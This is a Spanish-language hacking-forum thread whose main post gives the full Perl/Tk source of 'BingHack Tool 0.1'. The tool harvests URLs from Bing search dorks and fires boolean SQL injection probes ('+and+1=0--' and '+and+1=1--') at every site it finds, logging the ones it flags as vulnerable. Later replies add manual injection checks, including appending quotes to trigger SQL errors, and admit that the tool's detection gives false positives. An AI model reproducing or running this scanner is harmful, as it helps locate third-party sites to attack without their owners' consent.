Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing.
Una imagen
(http://doddyhackman.webcindario.com/images/bing.jpg)
El codigo
#!usr/bin/perl
#BingHack Tool 0.1
#Version Tk
#Coded By Doddy H
use Tk;
use LWP::UserAgent;
my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);
my $color_fondo = "black";
my $color_texto = "green";
if ( $^O eq 'MSWin32' ) {
use Win32::Console;
Win32::Console::Free();
}
my $hj =
MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$hj->geometry("600x285+20+20");
$hj->resizable( 0, 0 );
$hj->title("BingHack Tool 0.1");
$hj->Label(
-text => "Dork : ",
-font => "Impact1",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 18, -y => 22 );
my $dork = $hj->Entry(
-width => 30,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 68, -y => 26 );
$hj->Label(
-text => "Pages : ",
-font => "Impact1",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 270, -y => 22 );
my $pages = $hj->Entry(
-width => 10,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 335, -y => 26 );
$hj->Button(
-text => "Search",
-width => 10,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto,
-command => \&search
)->place( -x => 420, -y => 26 );
$hj->Button(
-text => "Logs",
-width => 10,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto,
-command => \&logs
)->place( -x => 495, -y => 26 );
$hj->Label(
-text => "Links Found",
-font => "Impact",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 110, -y => 80 );
my $links = $hj->Listbox(
-width => 40,
-height => 10,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 30, -y => 120 );
$hj->Label(
-text => "SQLi Found",
-font => "Impact",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 390, -y => 80 );
my $founds = $hj->Listbox(
-width => 40,
-height => 10,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 310, -y => 120 );
MainLoop;
sub search {
$links->delete( "0.0", "end" );
$founds->delete( "0.0", "end" );
$hj->update;
$hj->title("BingHack Tool 0.1 [+] Status : Searching");
my @urls = bing( $dork->get, $pages->get );
$hj->update;
for (@urls) {
$hj->update;
$links->insert( "end", $_ );
}
$hj->title("BingHack Tool 0.1 [+] Status : Scanning");
for my $pa (@urls) {
$hj->update;
sql($pa);
}
$hj->update;
$hj->title("BingHack Tool 0.1");
}
sub logs {
my $file = "sql-logs.txt";
if ( -f $file ) {
system($file);
}
else {
$hj->Dialog(
-title => "Error",
-buttons => ["OK"],
-text => "Logs not found",
-background => $color_fondo,
-foreground => $color_text,
-activebackground => $color_text
)->Show();
}
}
sub sql {
my ( $pass1, $pass2 ) = ( "+", "--" );
my $page = shift;
my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
unless ( $testar1 eq $testar2 ) {
$founds->insert( "end", $page );
savefile( "sql-logs.txt", $page );
}
}
sub savefile {
open( SAVE, ">>" . $_[0] );
print SAVE $_[1] . "\n";
close SAVE;
}
sub bing {
my ( $a, $b ) = @_;
for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
$hj->update;
my $code =
toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
while ( $code =~ /<h3><a href="(.*?)"/mig ) {
push( @founds, $1 );
}
}
my @founds = repes( cortar(@founds) );
return @founds;
}
sub repes {
my @limpio;
foreach $test (@_) {
push @limpio, $test unless $repe{$test}++;
}
return @limpio;
}
sub cortar {
my @nuevo;
for (@_) {
if ( $_ =~ /=/ ) {
@tengo = split( "=", $_ );
push( @nuevo, @tengo[0] . "=" );
}
else {
push( @nuevo, $_ );
}
}
return @nuevo;
}
sub toma {
return $nave->get( $_[0] )->content;
}
#The End ?
Esto no es doble post?? a mi salen dos... :rolleyes:
Observa:
(http://i.imgur.com/P51CX.png)
>:D >:D >:D xD
si leyeras bien el titulo te darias cuenta de que una version es para consola y otra es para Tk (version grafica).
Aquí con tal de subir mensajes se aprovecha todo anda que..
Buen trabajo Doddy, aunque las webs que muestras en la imagen del BingHack no me aparecen como vulnerables si compruebo yo la vuln a mano :S.
Un saludo :)
gracias por el aviso runex voy a tener que mejorar la funcion sql() debido a que solo 3 urls de la imagen son realmente vulnerables.
Cita de: Doddy en 26 Mayo 2012, 16:36 PM
gracias por el aviso runex voy a tener que mejorar la funcion sql() debido a que solo 3 urls de la imagen son realmente vulnerables.
De nada Doddy, para eso estamos :).
Lo que hacía yo para comprobar la vulnerabilidad, era añadir a la url ésto: "noticias.php?id=1+and+1=1" si el código fuente de esa era igual al código fuente original y el código fuente de "noticias.php?id=1+and+1=0" es diferente de ambas, lo más probable es que sea vulnerable.
Otra forma, la más conocida, le añades comillas al final de la url, y compruebas si en su código aparece la palabra Sql Error, o los típicos errores, ya sabes :).
Un saludo Runex :)
la tecnica que use es la misma que dijiste
sub sql {
my ( $pass1, $pass2 ) = ( "+", "--" );
my $page = shift;
my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
unless ( $testar1 eq $testar2 ) {
$founds->insert( "end", $page );
savefile( "sql-logs.txt", $page );
}
}
Perdona, y porque no lo subes todo en un mismo post? :huh:
Por cierto, buen trabajo. ;D
lo hago en post diferentes para que quede mas ordenado debido a que en la version Tk siempre pongo una imagen del programa y en la version consola no.
Que tal amigo, me podria dar instruciones para instalar TK en windows, por k en los paquetes solo encuentro TKx, e intente instalar tcl, pero no puedo compilar con tk, saludos.
yo no instale nada debe ser porque estoy usando ActivePerl 5.8